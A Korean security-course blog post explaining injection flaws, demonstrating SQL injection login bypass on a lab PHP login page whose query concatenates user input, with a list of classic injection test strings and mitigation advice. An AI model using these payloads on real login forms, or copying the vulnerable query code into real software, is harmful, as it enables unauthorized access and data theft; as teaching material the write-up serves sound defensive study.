NCS보안3기/웹 해킹2017. 6. 8. 21:29

- 개요


웹 어플리케이션이 외부 시스템이나 자체 운영체제에 접근할 때 입력받은 인자를 그대로 전달한다.

즉, 악성코드를 원하는 시스템에 전송할 수 있으며, SQL문 구문을 삽입하여 DB 서버에 침구가 가능하다. 또한 인수에 특수문자를 삽입하여 서버 내부에 명령 전달이 가능하다.


- 공격 행태


공격자가 해당 인자로 악의적인 명령어를 사입하는 경우, 해당 외부 시스템은 웹 어플리케이션으로 인해 입력받은 명령어를 실행하게 된다.

취약한 웹 어플리케이션을 통해 악성 코드를 전송하여 시스템 콜을 통한 OS 호출, 쉘 명령어를 통한 외부 프로그램 사용, SQL 구문을 통한 백엔드 데이터베이스 호출 등을 수행한다.


mysql> select * from user_db;

+----------+----------------------------------+---------------------+

| id       | pw                               | authtime            |

+----------+----------------------------------+---------------------+

| haha     | 925cc8d2953eba624b2bfedf91a91613 | 2017-06-07 14:37:35 |

| hihi     | e9f5713dec55d727bb35392cec6190ce | 2017-06-07 15:28:49 |

| Imp3rio  | 3b9e314227e9a1409b922049a088e8f0 | 2017-06-07 17:07:04 |

| test     | 098f6bcd4621d373cade4e832627b4f6 | 2017-06-07 21:52:33 |

| admin    | c62d929e7b7e7b6165923a5dfc60cb56 | 2017-06-08 20:51:24 |

| firewall | 7ef3645806013c9c2f9350f0f6d4d9fb | 2017-06-08 20:51:33 |

| 1341231  | 07a0dd7a3fd6670c9ef71de870c3c065 | 2017-06-08 20:51:43 |

+----------+----------------------------------+---------------------+


user_db 테이블에 위와 같은 데이터가 들어가 있다. pw의 경우 md5() 함수로 해쉬값이 들어가기 때문에 pw를 알아낼 방법이 없다. 

elseif($_SERVER['QUERY_STRING'] == "login") {

$_POST['pw'] = md5($_POST['pw']);

include "./config/config.php";

$db=dbconnect();

$query = "select id from user_db where id = '{$_POST[id]}' and pw = '{$_POST[pw]}'";

$result = mysqli_fetch_array(mysqli_query($db, $query));

if($result['id']) {

$_SESSION['site_id'] = $result['id'];

exit("<script>location.href='./main.php';</script>");

}

else exit("<script>alert('login fail'); history.go(-1);</script>");

}


index.php에 SQL 쿼리문이 위와 같이 되어 있다.
login 창에 다음과 같은 SQL Injection 코드를 넣어보자.
' or 1=1 #'

위와 같이 haha 라는 계정으로 로그인이 된다.

haha는 database에서 가장 처음에 입력된 계정이다. 즉, 데이터베이스에서 첫번째 id로 로그인됨을 알 수 있다.


admin으로 로그인하기 위해 다음과 같은 SQL Injection 코드를 넣어보자.

admin'#


위와 같이 admin으로 로그인이 된 것을 확인할 수 있다.


- 취약점 점검 방법


✓ SQL Injection 취약점을 이용하여 패스워드 없이 로그인이 가능한지 확인한다.

✓ 인수에 특수문자를 삽입하여 서버 내부에 명령 전달이 가능한지 확인한다.

✓ 외부 스크립트를 서버 내부에 삽입이 가능한지 확인한다.

✓ 시스템 명령어 삽입이 가능한지 확인한다.

✓ 관리자 ID와 패스워드에 아래 문자열을 입력하여 결과를 확인한다.


'or 1=1; --

' ' or 1=1--

"or 1=1 --

or 1=1--

'or 'a'='a

" or "a"="a

')or('a'='a

sql' or 1=1--

sql" or 1=1--

+ or 1=1--

';--



- 대응 조치


✓ 가능한 외부 인터프리터를 사용하지 않는다.

✓ 백엔드 데이터베이스 호출할 경우, 입력 값을 주의 깊게 검증한다.

✓ 데이터베이스와 연동을 하는 스크립트의 모든 파라미터들을 점검한다.

✓ 사용자 입력 시 특수문자( ', ", /, \, ;, :, -, + 등 )가 포함되어 있는지 검사한다.

✓ 웹 어플리케이션이 사용하는 데이터베이스 사용자의 권한을 제한한다.

Posted by Imp3rio